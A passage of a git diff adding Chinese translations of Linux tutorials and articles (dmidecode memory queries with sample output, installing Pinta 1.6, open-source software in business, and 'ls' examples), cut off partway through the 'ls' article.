+[1]:http://ask.xmodulo.com/install-kernel-headers-linux.html +[2]:https://www.kernel.org/pub/linux/kernel/ diff --git a/published/201503/20150304 Linux Basics--How To Find Maximum Supported RAM By Your System.md b/published/201503/20150304 Linux Basics--How To Find Maximum Supported RAM By Your System.md new file mode 100644 index 0000000000..14bc56c329 --- /dev/null +++ b/published/201503/20150304 Linux Basics--How To Find Maximum Supported RAM By Your System.md @@ -0,0 +1,696 @@ +Linux基础:如何找出你的系统所支持的最大内存 +================================================================================ +![](https://1102047360.rsc.cdn77.org/wp-content/uploads/2015/02/RAM-790x527.jpg) + +大多数情况下你可以从BIOS、产品目录或者干脆手动找出你的系统所持的最大内存。这里,我们介绍一种简单有用的技巧——使用Dmidecode来找出系统支持的最大内存,这样你就无需打开机箱或者参照BIOS和产品目录了。 + +### 什么是 Dmidecode? ### + +就像你可能知道的一样, **Dmidecode**是一个将计算机DMI(又名SMBIOS)表的内容转换为可读格式的工具。这个表包含了系统硬件组件的介绍以及其他一些如序列号和IOS版本等有用的信息。使用Dmidecode你能够获取此项信息,而无需去探测真实的硬件。 + +### 找出你的系统所支持的最大内存 ### + +请确定你已经在系统中安装了dmidecode,我觉得你的操作系统应该已经自动安装过了,不过并不非常确定。 + +**在基于Deb的系统中安装** + + sudo apt-get install dmidecode + +**在基于RPM的系统中安装** + + sudo yum install dmidecode + +**在SUSE/openSUSE中安装** + + sudo zypper in dmidecode + +好了,我们已经安装了dmidecode,接下来让我们找出支持的最大内存。输入以下命令: + + sudo dmidecode -t 16 + +**输出样本** + + # dmidecode 2.12 + SMBIOS 2.6 present. + + Handle 0x0014, DMI type 16, 15 bytes + Physical Memory Array + Location: System Board Or Motherboard + Use: System Memory + Error Correction Type: None + Maximum Capacity: 16 GB + Error Information Handle: Not Provided + Number Of Devices: 2 + +就像你看到的,我的系统支持最大内存到16G,并且有两个内存插槽,简单吧? + +接下来,让我们找出现在已经安装的内存的详细信息。 + + sudo dmidecode -t 17 + +**输出样本** + + # dmidecode 2.12 + SMBIOS 2.6 present. + + Handle 0x0017, DMI type 17, 28 bytes + Memory Device + Array Handle: 0x0014 + Error Information Handle: 0x0000 + Total Width: Unknown + Data Width: Unknown + Size: No Module Installed + Form Factor: DIMM + Set: None + Locator: DIMM_B + Bank Locator: BANK 2 + Type: Unknown + Type Detail: None + Speed: Unknown + Manufacturer: Not Specified + Serial Number: Not Specified + Asset Tag: Not Specified + Part Number: Not Specified + Rank: Unknown + + Handle 0x0015, DMI type 17, 28 bytes + Memory Device + Array Handle: 0x0014 + Error Information Handle: 0x0000 + Total Width: 64 bits + Data Width: 64 bits + Size: 4096 MB + Form Factor: SODIMM + Set: None + Locator: DIMM_A + Bank Locator: BANK 0 + Type: DDR3 + Type Detail: Synchronous + Speed: 1067 MHz + Manufacturer: 014F + Serial Number: 00092AF2 + Asset Tag: 54114000 + Part Number: JM1066KSN-4G + Rank: Unknown + +就像上边输出的一样,我在插槽1里边安装了一个内存条。内存大小为**4G**,类型为**DDR3**,速度为**1067 MHz**。 + +同样的,我们可以通过下边命令得到完整的内存信息。 + + sudo dmidecode -t memory + sudo dmidecode -t memory | less + sudo dmidecode -t memory | more + +**输出样本** + + # dmidecode 2.12 + SMBIOS 2.6 present. + + Handle 0x0014, DMI type 16, 15 bytes + Physical Memory Array + Location: System Board Or Motherboard + Use: System Memory + Error Correction Type: None + Maximum Capacity: 16 GB + Error Information Handle: Not Provided + Number Of Devices: 2 + + Handle 0x0017, DMI type 17, 28 bytes + Memory Device + Array Handle: 0x0014 + Error Information Handle: 0x0000 + Total Width: Unknown + Data Width: Unknown + Size: No Module Installed + Form Factor: DIMM + Set: None + Locator: DIMM_B + Bank Locator: BANK 2 + Type: Unknown + Type Detail: None + Speed: Unknown + Manufacturer: Not Specified + Serial Number: Not Specified + Asset Tag: Not Specified + Part Number: Not Specified + Rank: Unknown + + Handle 0x0015, DMI type 17, 28 bytes + Memory Device + Array Handle: 0x0014 + Error Information Handle: 0x0000 + Total Width: 64 bits + Data Width: 64 bits + Size: 4096 MB + Form Factor: SODIMM + Set: None + Locator: DIMM_A + Bank Locator: BANK 0 + Type: DDR3 + Type Detail: Synchronous + Speed: 1067 MHz + Manufacturer: 014F + Serial Number: 00092AF2 + Asset Tag: 54114000 + Part Number: JM1066KSN-4G + Rank: Unknown + +如果你好奇想要知道整个系统的详细信息,例如主板、内存、BIOS等,那么可以输入以下命令来获取。 + + sudo dmidecode + +**输出样本** + + # dmidecode 2.12 + SMBIOS 2.6 present. + 48 structures occupying 2173 bytes. + Table at 0x000EB840. + + Handle 0xDA00, DMI type 218, 251 bytes + OEM-specific Type + Header and Data: + DA FB 00 DA B2 00 0D 5F 0F 37 40 7D 00 00 00 00 + 00 7E 00 01 00 00 00 DC 01 00 80 02 00 DD 01 00 + 80 03 00 75 01 01 80 01 00 76 01 02 80 01 00 2D + 01 03 80 01 00 2E 01 03 80 00 00 81 01 07 80 00 + 00 82 01 07 80 01 00 83 01 08 80 00 00 84 01 08 + 80 01 00 85 01 06 80 00 00 86 01 06 80 01 00 58 + 02 05 80 00 00 57 02 05 80 01 00 9C 00 02 00 01 + 00 9B 00 02 00 00 00 8A 01 03 00 01 00 89 01 03 + 00 00 00 7F 01 04 00 00 00 80 01 04 00 01 00 53 + 01 05 00 00 00 52 01 05 00 01 00 7B 01 06 00 00 + 00 7C 01 06 00 01 00 94 01 07 00 00 00 93 01 07 + 00 01 00 7D 00 08 00 00 00 2D 00 09 00 01 00 2E + 00 09 00 00 00 6E 00 0A 00 00 00 95 00 0B 00 01 + 00 96 00 0B 00 00 00 2F 02 0C 00 01 00 30 02 0C + 00 00 00 50 02 0D 00 00 00 51 02 0D 00 01 00 52 + 02 0D 00 02 00 FF FF 00 00 00 00 + + Handle 0xDA01, DMI type 218, 59 bytes + OEM-specific Type + Header and Data: + DA 3B 01 DA B2 00 0D 5F 0F 37 40 53 02 0D 00 03 + 00 54 02 0D 00 04 00 56 02 0D 00 05 00 4B 01 0E + 00 01 00 4A 01 0E 00 00 00 EA 00 0F 00 01 00 EB + 00 0F 00 00 00 FF FF 00 00 00 00 + + Handle 0x0004, DMI type 4, 42 bytes + Processor Information + Socket Designation: CPU 1 + Type: Central Processor + Family: Core i3 + Manufacturer: Intel + ID: A7 06 03 01 FF FB AB BE + Signature: Type 0, Family 6, Model 42, Stepping 7 + Flags: + FPU (Floating-point unit on-chip) + VME (Virtual mode extension) + DE (Debugging extension) + PSE (Page size extension) + TSC (Time stamp counter) + MSR (Model specific registers) + PAE (Physical address extension) + MCE (Machine check exception) + CX8 (CMPXCHG8 instruction supported) + APIC (On-chip APIC hardware supported) + SEP (Fast system call) + MTRR (Memory type range registers) + PGE (Page global enable) + MCA (Machine check architecture) + CMOV (Conditional move instruction supported) + PAT (Page attribute table) + PSE-36 (36-bit page size extension) + CLFSH (CLFLUSH instruction supported) + DS (Debug store) + ACPI (ACPI supported) + MMX (MMX technology supported) + FXSR (FXSAVE and FXSTOR instructions supported) + SSE (Streaming SIMD extensions) + SSE2 (Streaming SIMD extensions 2) + SS (Self-snoop) + HTT (Multi-threading) + TM (Thermal monitor supported) + PBE (Pending break enabled) + Version: Intel(R) Core(TM) i3-2350M CPU @ 2.30GHz + Voltage: 1.1 V + External Clock: 100 MHz + Max Speed: 2300 MHz + Current Speed: 2300 MHz + Status: Populated, Enabled + Upgrade: Other + L1 Cache Handle: 0x0005 + L2 Cache Handle: 0x0006 + L3 Cache Handle: 0x0007 + Serial Number: To Be Filled By O.E.M. + Asset Tag: To Be Filled By O.E.M. + Part Number: To Be Filled By O.E.M. + Core Count: 2 + Core Enabled: 1 + Thread Count: 2 + Characteristics: + 64-bit capable + + Handle 0x0005, DMI type 7, 19 bytes + Cache Information + Socket Designation: L1-Cache + Configuration: Enabled, Not Socketed, Level 1 + Operational Mode: Write Back + Location: Internal + Installed Size: 64 kB + Maximum Size: 64 kB + Supported SRAM Types: + Other + Installed SRAM Type: Other + Speed: Unknown + Error Correction Type: None + System Type: Unified + Associativity: 8-way Set-associative + + Handle 0x0006, DMI type 7, 19 bytes + Cache Information + Socket Designation: L2-Cache + Configuration: Enabled, Not Socketed, Level 2 + Operational Mode: Varies With Memory Address + Location: Internal + Installed Size: 512 kB + Maximum Size: 512 kB + Supported SRAM Types: + Other + Installed SRAM Type: Other + Speed: Unknown + Error Correction Type: None + System Type: Unified + Associativity: 8-way Set-associative + + Handle 0x0007, DMI type 7, 19 bytes + Cache Information + Socket Designation: L3-Cache + Configuration: Enabled, Not Socketed, Level 3 + Operational Mode: Varies With Memory Address + Location: Internal + Installed Size: 3072 kB + Maximum Size: 3072 kB + Supported SRAM Types: + Other + Installed SRAM Type: Other + Speed: Unknown + Error Correction Type: None + System Type: Unified + Associativity: Other + + Handle 0x0008, DMI type 8, 9 bytes + Port Connector Information + Internal Reference Designator: J1A1 + Internal Connector Type: None + External Reference Designator: PS2Mouse + External Connector Type: PS/2 + Port Type: Mouse Port + + Handle 0x0009, DMI type 8, 9 bytes + Port Connector Information + Internal Reference Designator: J1A1 + Internal Connector Type: None + External Reference Designator: Keyboard + External Connector Type: PS/2 + Port Type: Keyboard Port + + Handle 0x000A, DMI type 8, 9 bytes + Port Connector Information + Internal Reference Designator: J2A2B + Internal Connector Type: None + External Reference Designator: Video + External Connector Type: DB-15 female + Port Type: Video Port + + Handle 0x000B, DMI type 8, 9 bytes + Port Connector Information + Internal Reference Designator: J3A1 + Internal Connector Type: None + External Reference Designator: USB1 + External Connector Type: Access Bus (USB) + Port Type: USB + + Handle 0x000C, DMI type 8, 9 bytes + Port Connector Information + Internal Reference Designator: J3A1 + Internal Connector Type: None + External Reference Designator: USB2 + External Connector Type: Access Bus (USB) + Port Type: USB + + Handle 0x000D, DMI type 8, 9 bytes + Port Connector Information + Internal Reference Designator: J3A1 + Internal Connector Type: None + External Reference Designator: USB3 + External Connector Type: Access Bus (USB) + Port Type: USB + + Handle 0x000E, DMI type 8, 9 bytes + Port Connector Information + Internal Reference Designator: J5A1 + Internal Connector Type: None + External Reference Designator: LAN + External Connector Type: RJ-45 + Port Type: Network Port + + Handle 0x000F, DMI type 9, 17 bytes + System Slot Information + Designation: J6B2 + Type: x16 PCI Express + Current Usage: In Use + Length: Long + ID: 0 + Characteristics: + 3.3 V is provided + Opening is shared + PME signal is supported + Bus Address: 0000:00:01.0 + + Handle 0x0010, DMI type 9, 17 bytes + System Slot Information + Designation: J6B1 + Type: x1 PCI Express + Current Usage: In Use + Length: Short + ID: 1 + Characteristics: + 3.3 V is provided + Opening is shared + PME signal is supported + Bus Address: 0000:00:1c.3 + + Handle 0x0012, DMI type 11, 5 bytes + OEM Strings + String 1: Dell System + String 2: 5[0003] + String 3: 13[P18F] + + Handle 0x0013, DMI type 12, 5 bytes + System Configuration Options + Option 1: To Be Filled By O.E.M. + + Handle 0x001C, DMI type 21, 7 bytes + Built-in Pointing Device + Type: Touch Pad + Interface: Bus Mouse + Buttons: 2 + + Handle 0x001D, DMI type 22, 26 bytes + Portable Battery + Location: Sys. Battery Bay + Manufacturer: Sanyo + Serial Number: 5390 + Name: DELL 4YRJH22 + Chemistry: Lithium Ion + Design Capacity: 45000 mWh + Design Voltage: 10800 mV + SBDS Version: 1.0 + Maximum Error: 2% + SBDS Manufacture Date: 2012-02-28 + OEM-specific Information: 0x00000001 + + Handle 0x001E, DMI type 32, 20 bytes + System Boot Information + Status: No errors detected + + Handle 0x0020, DMI type 27, 12 bytes + Cooling Device + Type: Fan + Status: OK + OEM-specific Information: 0x00000000 + + Handle 0x0021, DMI type 28, 20 bytes + Temperature Probe + Description: CPU Internal Temperature + Location: Processor + Status: OK + Maximum Value: 127.0 deg C + Minimum Value: 0.0 deg C + Resolution: 1.000 deg C + Tolerance: 0.5 deg C + Accuracy: Unknown + OEM-specific Information: 0x00000000 + + Handle 0xB000, DMI type 176, 5 bytes + OEM-specific Type + Header and Data: + B0 05 00 B0 00 + + Handle 0xB100, DMI type 177, 12 bytes + OEM-specific Type + Header and Data: + B1 0C 00 B1 1A 0E 00 00 00 00 00 00 + + Handle 0x0025, DMI type 209, 12 bytes + OEM-specific Type + Header and Data: + D1 0C 25 00 00 00 00 03 05 01 00 03 + + Handle 0x0026, DMI type 210, 12 bytes + OEM-specific Type + Header and Data: + D2 0C 26 00 00 00 00 03 05 20 01 03 + + Handle 0x0027, DMI type 211, 13 bytes + OEM-specific Type + Header and Data: + D3 0D 27 00 01 00 00 00 00 02 03 04 04 + Strings: + Front + + Handle 0x0028, DMI type 212, 57 bytes + OEM-specific Type + Header and Data: + D4 39 28 00 70 00 71 00 01 49 50 48 9C 00 49 FC + 01 9B 00 49 FC 00 7F 01 4A FB 04 80 01 4A FB 00 + 53 01 4A F7 08 52 01 4A F7 08 7B 01 4A EF 10 7C + 01 4A EF 10 FF FF 00 00 00 + + Handle 0x002A, DMI type 217, 8 bytes + OEM-specific Type + Header and Data: + D9 08 2A 00 01 02 00 00 + Strings: + + Handle 0x002B, DMI type 219, 11 bytes + OEM-specific Type + Header and Data: + DB 0B 2B 00 00 01 02 03 00 04 05 + Strings: + + Handle 0x002C, DMI type 220, 22 bytes + OEM-specific Type + Header and Data: + DC 16 2C 00 01 F0 00 00 02 F0 00 00 00 00 03 F0 + 04 F0 00 00 00 00 + + Handle 0x002D, DMI type 221, 19 bytes + OEM-specific Type + Header and Data: + DD 13 2D 00 00 00 00 00 00 03 00 00 00 00 00 00 + 00 00 00 + + Handle 0x002E, DMI type 222, 16 bytes + OEM-specific Type + Header and Data: + DE 10 2E 00 01 08 FF FF 00 00 00 00 00 00 00 00 + + Handle 0x0014, DMI type 16, 15 bytes + Physical Memory Array + Location: System Board Or Motherboard + Use: System Memory + Error Correction Type: None + Maximum Capacity: 16 GB + Error Information Handle: Not Provided + Number Of Devices: 2 + + Handle 0x0016, DMI type 20, 19 bytes + Memory Device Mapped Address + Starting Address: 0x00000000000 + Ending Address: 0x000FFFFFFFF + Range Size: 4 GB + Physical Device Handle: 0x0015 + Memory Array Mapped Address Handle: 0x0018 + Partition Row Position: 1 + Interleave Position: 1 + Interleaved Data Depth: 1 + + Handle 0x0017, DMI type 17, 28 bytes + Memory Device + Array Handle: 0x0014 + Error Information Handle: 0x0000 + Total Width: Unknown + Data Width: Unknown + Size: No Module Installed + Form Factor: DIMM + Set: None + Locator: DIMM_B + Bank Locator: BANK 2 + Type: Unknown + Type Detail: None + Speed: Unknown + Manufacturer: Not Specified + Serial Number: Not Specified + Asset Tag: Not Specified + Part Number: Not Specified + Rank: Unknown + + Handle 0x0018, DMI type 19, 15 bytes + Memory Array Mapped Address + Starting Address: 0x00000000000 + Ending Address: 0x000FFFFFFFF + Range Size: 4 GB + Physical Array Handle: 0x0014 + Partition Width: 2 + + Handle 0x002F, DMI type 13, 22 bytes + BIOS Language Information + Language Description Format: Abbreviated + Installable Languages: 1 + eng + Currently Installed Language: eng + + Handle 0x0030, DMI type 131, 64 bytes + OEM-specific Type + Header and Data: + 83 40 30 00 31 00 00 00 00 00 00 00 00 00 00 00 + F8 00 4B 1C FF FF FF FF 01 00 00 00 00 00 07 00 + AD 04 04 00 00 00 00 00 C8 00 FF FF 00 00 00 00 + 00 00 00 00 32 00 00 00 76 50 72 6F 00 00 00 00 + + Handle 0x0029, DMI type 216, 9 bytes + OEM-specific Type + Header and Data: + D8 09 29 00 01 02 01 00 00 + Strings: + INTEL + 0000 + + Handle 0x0000, DMI type 0, 24 bytes + BIOS Information + Vendor: Dell Inc. + Version: A05 + Release Date: 08/03/2012 + Address: 0xF0000 + Runtime Size: 64 kB + ROM Size: 2048 kB + Characteristics: + MCA is supported + PCI is supported + BIOS is upgradeable + BIOS shadowing is allowed + ESCD support is available + Boot from CD is supported + Selectable boot is supported + BIOS ROM is socketed + EDD is supported + 5.25"/1.2 MB floppy services are supported (int 13h) + 3.5"/720 kB floppy services are supported (int 13h) + 3.5"/2.88 MB floppy services are supported (int 13h) + Print screen service is supported (int 5h) + 8042 keyboard services are supported (int 9h) + Serial services are supported (int 14h) + Printer services are supported (int 17h) + CGA/mono video services are supported (int 10h) + ACPI is supported + USB legacy is supported + ATAPI Zip drive boot is supported + BIOS boot specification is supported + Targeted content distribution is supported + BIOS Revision: 0.5 + Firmware Revision: 0.5 + + Handle 0x0002, DMI type 2, 15 bytes + Base Board Information + Manufacturer: Dell Inc. + Product Name: 01HXXJ + Version: A05 + Serial Number: .JSQ7PA1.CN7117623M00J2. + Asset Tag: Not Specified + Features: + Board is a hosting board + Board is replaceable + Location In Chassis: To Be Filled By O.E.M. + Chassis Handle: 0x0003 + Type: Motherboard + Contained Object Handles: 0 + + Handle 0x0003, DMI type 3, 21 bytes + Chassis Information + Manufacturer: Dell Inc. + Type: Portable + Lock: Not Present + Version: Not Specified + Serial Number: JSR1 + Asset Tag: Not Specified + Boot-up State: Safe + Power Supply State: Safe + Thermal State: Safe + Security Status: None + OEM Information: 0x00000000 + Height: Unspecified + Number Of Power Cords: 1 + Contained Elements: 0 + + Handle 0x0001, DMI type 1, 27 bytes + System Information + Manufacturer: Dell Inc. + Product Name: Inspiron N5050 + Version: Not Specified + Serial Number: JSR1 + UUID: 4C4C4544-0053-5110-8029-CAC05241 + Wake-up Type: Power Switch + SKU Number: To be filled by O.E.M. + Family: + + Handle 0x0024, DMI type 208, 12 bytes + OEM-specific Type + Header and Data: + D0 0C 24 00 02 05 FE 00 04 05 01 02 + Strings: + 20120323 + 20120323 + + Handle 0x0011, DMI type 10, 6 bytes + On Board Device Information + Type: Video + Status: Enabled + Description: Mobile Intel SandyBridge HD Graphics + + Handle 0x0015, DMI type 17, 28 bytes + Memory Device + Array Handle: 0x0014 + Error Information Handle: 0x0000 + Total Width: 64 bits + Data Width: 64 bits + Size: 4096 MB + Form Factor: SODIMM + Set: None + Locator: DIMM_A + Bank Locator: BANK 0 + Type: DDR3 + Type Detail: Synchronous + Speed: 1067 MHz + Manufacturer: 014F + Serial Number: 0009F2 + Asset Tag: 54114000 + Part Number: JM1066-4G + Rank: Unknown + + Handle 0x0031, DMI type 127, 4 bytes + End Of Table + +好了,就是这样。 + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/linux-basics-how-to-find-maximum-supported-ram-by-your-system/ + +作者:[SK][0] +译者:[mr-ping](https://github.com/mr-ping) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[0]:https://www.unixmen.com/author/sk/ diff --git a/published/201503/20150306 Pinta 1.6 Released Install It In Ubuntu And Linux Mint.md b/published/201503/20150306 Pinta 1.6 Released Install It In Ubuntu And Linux Mint.md new file mode 100644 index 0000000000..bf0a698a16 --- /dev/null +++ b/published/201503/20150306 Pinta 1.6 Released Install It In Ubuntu And Linux Mint.md @@ -0,0 +1,50 @@ +Pinta 1.6发布了!在 Ubuntu 和 Linux Mint 上安装Pinta +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/03/Pinta_Ubuntu_Linux.jpeg) + + +[Pinta][1] 是一款免费的开源绘图应用软件,它在Linux用户中很受欢迎。你也可以把它看作是**微软画图软件的开源替代品**。Pinta 可以在很多平台上使用,如 Linux、Windows 以及 Mac OS X。 + +Gimp 作为一款功能齐全的图像编辑软件而流行,相比Pinta则单纯是一种绘图工具。我常用它在我的截图上画箭头和曲线,而且我可以说这是我在 Linux 上最喜欢的绘图应用软件。 + +### Pinta 1.6 的新功能### + +经过一年多的时间,Pinta发布了1.6版本,修复了50多个漏洞并且增加了一些新功能。增加的新功能如下: + +- 线条工具现在支持绘制曲线和箭头 +- 绘制好的图形可以编辑形状 +- 所有的图形工具现在支持绘制虚线 +- 所有的选择工具现在支持并集、排除,异或和交集模式 +- 插件可通过插件管理器安装 +- 命令行中加入新选项 + +新版本同时也修复了一个很烦人的漏洞——右键菜单选项,[在打开方式中使用Pinta不能打开文件][2]。你可以在[发布说明][3]阅读所有的改变。 + +### 在 Ubuntu 和 Linux Mint 中安装 Pinta 1.6### + +Pinta 1.5 可以在 Ubuntu 14.04,14.10,Linux Mint 17 和 elementary OS 中使用。如果你想安装最新的 1.6 版本,你可以使用 Pinta 团队的官方PPA源。如果你已经安装了 Pinta 1.5 也不必担心。再安装一次将会使版本升级。 + +打开终端并使用以下命令: + + sudo add-apt-repository ppa:pinta-maintainers/pinta-stable + sudo apt-get update + sudo apt-get install pinta + +下载源代码或者获取 Windows 和 Mac OS X 的安装文件,请点击[Pinta下载页面][4]。在如下这篇相关文章中,你也可以选出[Linux中最好的照片应用软件][5]。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/pinta-1-6-ubuntu-linux-mint/ + +作者:[Abhishek][a] +译者:[linuhap](https://github.com/linuhap) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/abhishek/ +[1]:http://pinta-project.com/ +[2]:http://itsfoss.com/add-application-list-open-applications-ubuntu-1310/ +[3]:http://pinta-project.com/releases/1-6 +[4]:http://pinta-project.com/releases +[5]:http://itsfoss.com/image-applications-ubuntu-linux/ diff --git a/published/201503/20150309 10 best uses for open source software in the business world.md b/published/201503/20150309 10 best uses for open source software in the business world.md new file mode 100644 index 0000000000..82b5c89956 --- /dev/null +++ b/published/201503/20150309 10 best uses for open source software in the business world.md @@ -0,0 +1,85 @@ +10种将开源用于商业的最佳途径 +=============================================================================== +> 开源为大大小小的商业带来了一些显著的效益 -- 但是你可能会对某些用途感到惊讶。 + +![](http://tr2.cbsistatic.com/hub/i/r/2015/03/05/54a9c323-4311-4455-b10b-5182548da424/resize/620x485/95164f01a19cbd7a3e4b843be78febae/foss.jpg) + +技术上已经发生了一些必然性的改变。举个例子,开源软件以它的方式进入到了你的工作之中。10 年前,这也许还能称为一个问题。现在呢?则已经无法避免开源技术的使用 -- 也没有理由要去避免。有如此多强大(和必需的)的方方面面技术,开源在许多方面已经成为了技术的救世主。但是你哪一块的工作最适合开源软件呢?当然,这个问题的答案会因公司而异。然而许多的应用几乎可以适用于每个场景中。 + +让我们来看看这10种可能是最佳的使用方法,它们可以帮助你的公司成长,带给你从未体验过的灵活性与可靠性,或者仅仅是帮你节省一笔可观的预算。 + +### 1: 服务器软件 ### + +如果你还在微软的 IIS 平台苦苦挣扎,那么你需要体验一下 Apache。这款旗舰级开源软件是这个星球上使用最广泛的网页服务器软件之一。Apache 免费、极其可靠、易于管理,而且不像 IIS 一样需要大量的资源。然而,开源并不局限于网页服务器。如果你需要在公司内使用 SMB 来共享资源,可以试试 Samba, Samba 4甚至集成了活动目录(AD),所以你不需要担心在Samba服务器上建立单独的用户账号。 + +### 2: 开发 ### + +用开源开发是很简单的事。PHP,Rails,Perl -- 开源上面的开发语言和开发的工具(从集成开发环境到调试)都很多。为开源或者开源工具做开发可以有很多种选择(如同使用商业软件开发一样)。开源软件与商业软件最大的不同之处在于开源可以接触到软件源代码。在自由开源软件(FOSS,free open source software)的世界里,代码都是公开的。对许多开发者来说,Linux操作系统有他们开发和构建所需要的一切(特别那些没有一个成熟环境来写代码的人而言)。如果你需要图形用户界面(GUI)的开发工具,开源也能满足你。 + +### 3: 安全 ### + +通往安全的道路是充满挑战的,但还是很多途径可以达到。你可以选择“安全盒子”的解决方案,跟随Cisco(一个可靠的解决方案)的节奏,或者你可以借助iptables打造最适合你需求的安全。是的,开源的安全之路会需要更多的时间去配置(有很高的学习壁垒),但是结果通常是不错的。这里甚至不强调一种观点,就一般来说,在桌面上使用开源比起大多数封闭的系统而言是一个更安全的平台。在桌面上部署Linux,你的安全痛点会大大降低。 + +### 4: 桌面 ### + +Linux 桌面是大多数人不认可的地方。尽管如此,你必须考虑一个事实,那就是你每天的工作流程已经经历了一个主要的思维模式的转换。我们现在做的大部分事情都是通过网络浏览器。那么为什么不将Linux部署到桌面上呢?不但可以能做如今要做的许多工作,而且不用遭受病毒,恶意软件和能破坏系统的更新。它不完美 -- 但哪个平台敢说完美?但是它很强大,最后,还可以节省你的开支。这是一个双赢的结局。 + +### 5: 工作流程 ### + +每一种工作都依赖于工作流程。对于某些工作来说,一个流畅的工作流程又取决于所用的工具。开源已经登上这个舞台了。CRM(客户关系管理),HRM(人力资源管理),ERP(企业资源计划),BI(商业智能),BPM(业务流程管理) …… 只要你叫得出名字,开源就可以做到几乎你能想到的每一种可能 -- 并且干得不错。借助于[Pentaho][1], [Collabtive][2]和[SugarCRM][3], 开源可以在任何时候与最新的源工具保持同步。 + +### 6: 协作 ### + +没有一起合作项目的能力,你的员工就不能干好工作。所以你选择的协作工具是十分重要的。你会在开源的世界里发现大量的优质协作工具。[Cyn.in 社区版][4], [Zimbra 开源版][5]和[Kolab][6]都是不错的协作工具,但这仅仅是开源世界里的三个代表而已。 + +### 7: 大数据 ### + +以前说到大数据的时候,往往不会想到开源。多亏了[SUSE][7]的努力,大数据和开源现在可以携手共进了。许多如内存数据和内核热补丁的发明创建,使得开源成为大数据一个理想的解决方案。它可以完美地满足大数据在平台上所需的大量要求,而封闭的软件则达不到如此灵活的水平。 + +### 8: 云 ### + +云的主要玩家都是开源的。[Red Hat][8], [Ubuntu][9], [SUSE][10], [Amazon][11], [Rackspace][12] -- 他们都提供云服务,而且认为开源是云配置的最好解决方案。但是,如果你不想用大公司的服务,仍然有很多后起之秀如[OwnCloud][13],你可以选择OwnCloud的托管云方案,或者建立自己的一套。 + +### 9: 多媒体 ### + +如果你的公司做播客或为产品发布制作视频,开源可以为你提供服务。借助像[Audacity][14]和[OpenShot][15]这样的工具,你可以对音频和视频做你需要的任何处理 -- 而且十分的廉价。实际上,你会感觉到很难再去找到比Audacity更好的播客工具,或者比OpenShot更易用的视频编辑器。没有太大的学习壁垒,或者闭源软件工具所要求的高额费用,开源的软件在帮助你创造专业水准的作品方面已经做得很好了。 + +### 10: 电子商务 ### + +如果你做在线销售,如果不尝试一下像[PrestaShop][16]之类的工具,你就太懈怠了。PrestaShop是最强大的电子商务解决方案之一,易于获取 -- 不需要许可证。 PrestaShop有你可能想要的所有功能(而且有些你可能都没有想过),这个开源平台已经在任何水平上超出了电子商务的范畴。 + +### FOSS 之于商业 ### + +开源已经不再局限于商业交流的范围了。在许多情况下,FOSS已经主导这种交流。如果你已经在寻找将开源解决方案运用的领域,看上面的10条就行了。 + +### 该你了 ### + +你已经将开源用到你的工作中了吗?如果是,属于哪一条方法呢? + +------------------------------------------------------------------------------- + +via: http://www.techrepublic.com/blog/10-things/10-best-uses-for-open-source-software-in-the-business-world/ + +作者:[Jack Wallen][a] +译者:[wi-cuckoo](https://github.com/wi-cuckoo) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.techrepublic.com/search/?a=jack+wallen +[1]:http://community.pentaho.com/ +[2]:http://collabtive.o-dyn.de/ +[3]:http://www.sugarcrm.com/ +[4]:http://cynapse.com/cyn-in/ +[5]:https://www.zimbra.com/open-source +[6]:http://kolab.org/ +[7]:http://www.suse.org/ +[8]:http://www.redhat.com/ +[9]:http://www.ubuntu.com/ +[10]:http://www.suse.com/ +[11]:http://aws.amazon.com/ec2/ +[12]:http://www.rackspace.com/cloud +[13]:https://owncloud.org/ +[14]:http://audacity.sourceforge.net/ +[15]:http://www.openshot.org/ +[16]:https://www.prestashop.com/ diff --git a/published/201503/20150309 15 Basic 'ls' Command Examples in Linux.md b/published/201503/20150309 15 Basic 'ls' Command Examples in Linux.md new file mode 100644 index 0000000000..e5feb79b2e --- /dev/null +++ b/published/201503/20150309 15 Basic 'ls' Command Examples in Linux.md @@ -0,0 +1,263 @@ +Linux中的15个基本‘ls’命令示例 +================================================================================ +ls命令是Linux系统中最被频繁使用的命令之一,我相信ls命令一定是你进入一台Linux系统的电脑打开命令提示符后第一个使用的命令。我们每天都在频繁地使用ls命令,即使我们可能没有意识也从来用不到所有可用的选项。本文中,我们将讨论下一些基本的ls命令并且覆盖尽可能多的有关参数来讲解。 + +![Linux ls Command](http://www.tecmint.com/wp-content/uploads/2012/08/Linux-ls-Commands.png) + +*Linux的ls命令* + +### 1. 不带任何选项列出文件 ### + +不带选项的ls命令来光秃秃地列出文件和目录,我们是不能看到像文件类型、大小、修改日期和时间、权限以及链接这样具体的信息的。 + + # ls + + 0001.pcap Desktop Downloads index.html install.log.syslog Pictures Templates + anaconda-ks.cfg Documents fbcmd_update.php install.log Music Public Videos + +### 2 带 –l 选项列出文件列表 ### + +你看,ls -l(-l是字母不是“1”)就能展示出是文件还是目录,它的大小、修改日期和时间、文件或目录的名字以及文件的属主和它的权限。 + + # ls -l + + total 176 + -rw-r--r--. 1 root root 683 Aug 19 09:59 0001.pcap + -rw-------. 1 root root 1586 Jul 31 02:17 anaconda-ks.cfg + drwxr-xr-x. 2 root root 4096 Jul 31 02:48 Desktop + drwxr-xr-x. 2 root root 4096 Jul 31 02:48 Documents + drwxr-xr-x. 4 root root 4096 Aug 16 02:55 Downloads + -rw-r--r--. 1 root root 21262 Aug 12 12:42 fbcmd_update.php + -rw-r--r--. 1 root root 46701 Jul 31 09:58 index.html + -rw-r--r--. 1 root root 48867 Jul 31 02:17 install.log + -rw-r--r--. 1 root root 11439 Jul 31 02:13 install.log.syslog + drwxr-xr-x. 2 root root 4096 Jul 31 02:48 Music + drwxr-xr-x. 2 root root 4096 Jul 31 02:48 Pictures + drwxr-xr-x. 2 root root 4096 Jul 31 02:48 Public + drwxr-xr-x. 2 root root 4096 Jul 31 02:48 Templates + drwxr-xr-x. 2 root root 4096 